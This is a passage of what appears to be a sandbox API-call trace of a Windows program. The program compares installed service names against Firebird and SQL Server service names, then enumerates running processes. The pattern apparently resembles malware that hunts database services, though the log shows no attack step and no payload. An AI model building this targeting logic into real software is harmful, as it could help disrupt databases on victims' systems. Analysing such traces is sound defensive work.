[0157.895] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0157.895] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0157.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0157.895] lstrlenW (lpString="LanmanWorkstation") returned 17 [0157.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.895] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0157.895] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0157.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0157.895] lstrlenW (lpString="lfsvc") returned 5 [0157.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0157.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0157.895] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0157.895] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0157.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0157.895] lstrlenW (lpString="LicenseManager") returned 14 [0157.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0157.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0157.895] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0157.895] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0157.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0157.896] lstrlenW (lpString="lmhosts") returned 7 [0157.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0157.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0157.896] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0157.896] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0157.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0157.896] lstrlenW (lpString="LSM") returned 3 [0157.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0157.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0157.896] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0157.896] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0157.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0157.896] lstrlenW (lpString="MpsSvc") returned 6 [0157.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0157.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0157.896] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0157.896] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0157.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0157.896] lstrlenW (lpString="NcbService") returned 10 [0157.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0157.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0157.896] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0157.896] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0157.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0157.896] lstrlenW (lpString="netprofm") returned 8 [0157.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0157.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0157.896] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0157.896] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0157.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0157.896] lstrlenW (lpString="NlaSvc") returned 6 [0157.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0157.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0157.896] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0157.896] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0157.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0157.896] lstrlenW (lpString="nsi") returned 3 [0157.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0157.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0157.896] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0157.896] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0157.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0157.896] lstrlenW (lpString="PcaSvc") returned 6 [0157.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0157.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0157.896] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0157.896] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0157.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0157.896] lstrlenW (lpString="PlugPlay") returned 8 [0157.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0157.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0157.897] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0157.897] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0157.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0157.897] lstrlenW (lpString="Power") returned 5 [0157.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0157.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0157.897] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0157.897] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0157.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0157.897] lstrlenW (lpString="ProfSvc") returned 7 [0157.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0157.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0157.897] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0157.897] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0157.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0157.897] lstrlenW (lpString="RpcEptMapper") returned 12 [0157.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.897] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0157.897] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0157.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0157.897] lstrlenW (lpString="RpcSs") returned 5 [0157.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0157.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0157.897] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0157.897] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0157.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0157.897] lstrlenW (lpString="SamSs") returned 5 [0157.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0157.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0157.897] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0157.897] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0157.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0157.897] lstrlenW (lpString="Schedule") returned 8 [0157.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0157.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0157.897] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0157.897] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0157.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0157.897] lstrlenW (lpString="SecurityHealthService") returned 21 [0157.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0157.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0157.897] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0157.897] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0157.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0157.897] lstrlenW (lpString="SENS") returned 4 [0157.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0157.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0157.897] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0157.898] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0157.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0157.898] lstrlenW (lpString="ShellHWDetection") returned 16 [0157.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.898] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0157.898] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0157.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0157.898] lstrlenW (lpString="sppsvc") returned 6 [0157.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0157.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0157.898] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0157.898] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0157.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0157.898] lstrlenW (lpString="SSDPSRV") returned 7 [0157.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0157.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0157.898] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0157.898] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0157.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0157.898] lstrlenW (lpString="StateRepository") returned 15 [0157.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0157.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0157.898] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0157.898] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0157.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0157.898] lstrlenW (lpString="SysMain") returned 7 [0157.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0157.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0157.898] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0157.898] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0157.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0157.898] lstrlenW (lpString="SystemEventsBroker") returned 18 [0157.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0157.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0157.898] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0157.898] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0157.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0157.898] lstrlenW (lpString="Themes") returned 6 [0157.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0157.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0157.898] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0157.898] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0157.899] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x39c [0158.392] Process32FirstW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.392] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0158.392] lstrlenW (lpString="System") returned 6 [0158.393] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0158.393] lstrlenW (lpString="smss.exe") returned 8 [0158.393] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.396] lstrlenW (lpString="csrss.exe") returned 9 [0158.396] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0158.396] lstrlenW (lpString="wininit.exe") returned 11 [0158.396] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.397] lstrlenW (lpString="csrss.exe") returned 9 [0158.397] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0158.397] lstrlenW (lpString="winlogon.exe") returned 12 [0158.397] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0158.397] lstrlenW (lpString="services.exe") returned 12 [0158.397] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0158.398] lstrlenW (lpString="lsass.exe") returned 9 [0158.398] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.398] lstrlenW (lpString="svchost.exe") returned 11 [0158.398] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0158.399] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0158.399] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0158.399] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0158.399] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.400] lstrlenW (lpString="svchost.exe") returned 11 [0158.400] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0158.400] lstrlenW (lpString="dwm.exe") returned 7 [0158.400] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.400] lstrlenW (lpString="svchost.exe") returned 11 [0158.400] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.401] lstrlenW (lpString="svchost.exe") returned 11 [0158.401] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.401] lstrlenW (lpString="svchost.exe") returned 11 [0158.401] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.402] lstrlenW (lpString="svchost.exe") returned 11 [0158.402] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.402] lstrlenW (lpString="svchost.exe") returned 11 [0158.402] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.402] lstrlenW (lpString="svchost.exe") returned 11 [0158.403] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.403] lstrlenW (lpString="svchost.exe") returned 11 [0158.403] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.404] lstrlenW (lpString="svchost.exe") returned 11 [0158.404] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.405] lstrlenW (lpString="svchost.exe") returned 11 [0158.405] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.405] lstrlenW (lpString="svchost.exe") returned 11 [0158.405] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.406] lstrlenW (lpString="svchost.exe") returned 11 [0158.406] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0158.406] lstrlenW (lpString="audiodg.exe") returned 11 [0158.406] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0158.407] lstrlenW (lpString="sihost.exe") returned 10 [0158.407] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.407] lstrlenW (lpString="svchost.exe") returned 11 [0158.407] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0158.408] lstrlenW (lpString="taskhostw.exe") returned 13 [0158.408] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0158.408] lstrlenW (lpString="explorer.exe") returned 12 [0158.408] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0158.409] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0158.409] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0158.410] lstrlenW (lpString="Memory Compression") returned 18 [0158.410] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0158.410] lstrlenW (lpString="SearchUI.exe") returned 12 [0158.410] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0158.410] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0158.410] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0158.411] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0158.411] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0158.412] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0158.412] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, 